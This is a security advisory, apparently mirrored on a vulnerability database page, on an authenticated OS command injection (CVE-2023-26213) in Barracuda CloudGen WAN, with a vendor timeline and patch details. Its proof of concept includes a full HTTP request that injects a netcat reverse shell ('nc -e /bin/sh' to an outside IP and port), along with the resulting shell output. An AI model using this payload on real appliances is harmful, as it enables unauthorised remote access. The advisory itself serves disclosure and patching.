Lucene search
K

Barracuda CloudGen WAN OS Command Injection Vulnerability

🗓️ 06 Mar 2023 00:00:00Reported by Stefan ViehbockType 
zdt
 zdt
🔗 0day.today👁 405 Views

Barracuda CloudGen WAN OS Command Injection Vulnerability CVE-2023-26213, allows authenticated user to inject arbitrary OS commands via the /ajax/update_certificate endpoint

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-26213
4 Mar 202300:35
circl
CNNVD
Barracuda CloudGen WAN 操作系统命令注入漏洞
3 Mar 202300:00
cnnvd
CVE
CVE-2023-26213
3 Mar 202300:00
cve
Cvelist
CVE-2023-26213
3 Mar 202300:00
cvelist
EUVD
EUVD-2023-30038
3 Oct 202520:07
euvd
NVD
CVE-2023-26213
3 Mar 202322:15
nvd
Packet Storm
Barracuda CloudGen WAN OS Command Injection
3 Mar 202300:00
packetstorm
Prion
Command injection
3 Mar 202322:15
prion
RedhatCVE
CVE-2023-26213
23 May 202505:38
redhatcve
Vulnrichment
CVE-2023-26213
3 Mar 202300:00
vulnrichment
Rows per page
=======================================================================
               title: OS Command Injection
             product: Barracuda CloudGen WAN
  vulnerable version: < v8.* hotfix 1089
       fixed version: v8.* with hotfix webui-sdwan-1089-8.3.1-174141891 or above
                      version 9.0.0 or above
          CVE number: CVE-2023-26213
              impact: High
            homepage: https://www.barracuda.com/products/network-security/cloudgen-wan
               found: 2023-01-12
                  by: Stefan Viehböck (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"CloudGen WAN is more than just another SD-WAN solution. It lets you build
an automated cloud-based network by leveraging the Microsoft Global Network.
The product of a joint development program by Microsoft and Barracuda,
CloudGen WAN is the only global secure SD-WAN service built natively on Azure.
It is a single, unified solution that makes it very simple to ensure highly
secure, seamless connectivity to all your locations and all your cloud-based
resources and applications."

Source: https://www.barracuda.com/products/network-security/cloudgen-wan


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.


Vulnerability overview/description:
-----------------------------------
1) Authenticated OS Command Injection (CVE-2023-26213)
Barracuda CloudGen WAN provides a private edge appliance for hybrid deployments.

An authenticated user in the administration interface for the private edge
virtual appliance can inject arbitrary OS commands via the
/ajax/update_certificate endpoint.


Proof of concept:
-----------------
1) Authenticated OS Command Injection (CVE-2023-26213)
The affected PHP application running on the appliance implements a custom
wrapper for securely executing OS commands. The wrapper is inspired by SQL
prepared statements and uses placeholders.

Unfortunately an attacker can inject new placeholder strings within arguments.
In the case where two or more arguments are controlled by the user, this allows
an attacker to craft a placeholder which executes arbitrary commands.

Example of a vulnerable call:
```php
             // Extract the cert with the password
             $extract_cert_status = BN_Shell::exec(
                 "openssl pkcs12 -in :tmp_cert -out :dst -clcerts -nokeys -passin pass::password",
                 array(
                     'tmp_cert' => $cert_folder . $name . '.base64',
                     'dst' => $cert_folder . $name,
                     'password' => $password
                 )
             );
```

Excerpt from BN_Shell::exec():
```php
  // Execute a full command.
  // If you need to escape arguments, replace them with bind params, similar to sql binds.
  // Example: exec('ls /tmp/')
  // Example: exec('cp :source :dest', array('source' => '/src/dir/', 'dest' => '/dest/dir'))
  public static function exec($command, array $params = array()) {
    // escape and replace binds with values
    foreach($params as $param => $value) {
      $value = static::escape($value); // --- SEC Consult: this internally calls escapeshellargs() on the argument
      $command = str_replace(":$param", $value, $command);
    }
    static::$_last_command = $command;

    $return = array();
    
    // use proc_open to get stdout and stderr
    $descriptorspec = array(
      0 => array("pipe", "r"), // stdin is a pipe that the child will read from
      1 => array("pipe", "w"), // stdout is a pipe that the child will write to
      2 => array("pipe", "w")  // stderr is a file to write to
    );
```
    
The following HTTP request exploits the issue.

The "name" argument contains the placeholder string ":password". At runtime,
this is replaced by the argument "password", which in this case executes a
reverse shell.

POST /ajax/update_certificate HTTP/1.1
Host: host
Cookie: session_id=jk7dai0pv2vr9npoarfqnuajll
X-Csrf-Token: 2da43562a3e1552259dea8dde327cd97c5176fdd
Content-Type: application/json;charset=utf-8
Content-Length: 999

{"pem":{"certificate":{},"key":{}},"pems":{"certificate":{},"key":{}},"pkcs12":{"certificate":{"content":"XXXXXXXXXXXXXXXX","name":"keyStoreAAA :password.pfx"},"key":{},"password":"; nc -e /bin/sh 
192.168.200.1 4242 # XXX"},"currentType":"pkcs12"}


$ nc -l -p 4242
id
uid=48(www-data) gid=48(www-data) groups=48(www-data)



Vulnerable / tested versions:
-----------------------------
The issue was found in Barracuda CloudGen WAN (private edge appliance) version
8.3.1 (GWAY-8.3.1-0086-VTxxx.ova).


Vendor contact timeline:
------------------------
2023-01-12: Contacting vendor through bugcrowd submission.
2023-01-12: Auto-response from bugcrowd, submission set to "not applicable".
2023-01-13: Response from vendor, set to "triaged".
2023-01-24: Vendor provides a patch/diff.
2023-02-14: Vendor informs us that patch/hotfix 1089 has been released on 26th
             January as automatic patch for CGW sites and gateways. It targets
             version 8 and will be included in the future version 9. Vendor
             sets submission to "resolved"
2023-02-14: Asking whether it is applicable to bug bounty and for CVE number.
             No response.
2023-02-20: Informing vendor that we are going to request a CVE number and will
             publish the advisory afterwards.
2023-02-20: Vendor response: no CVE was assigned yet, provides link to security
             note.
2023-02-28: Release of security advisory.



Solution:
---------
There is an updated version 8 with hotfix 1089 available, future version 9 also
incorporates the fix.

Barracuda customers should check the SDWAN WebUI or the cloud-based Appliance
Dashboard (under the "Hotfixes" tab) and should confirm that:

* The appliance is on version 8.* and it has hotfix webui-sdwan-1089-8.3.1-174141891 installed; or
* The appliance is on version 9.0.0 or above

The vendor published the following release notes:
https://campus.barracuda.com/product/cloudgenwan/doc/96024723/release-notes-8-3-1/
(search for hotfix 1089)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.2
EPSS0.03876
SSVC
405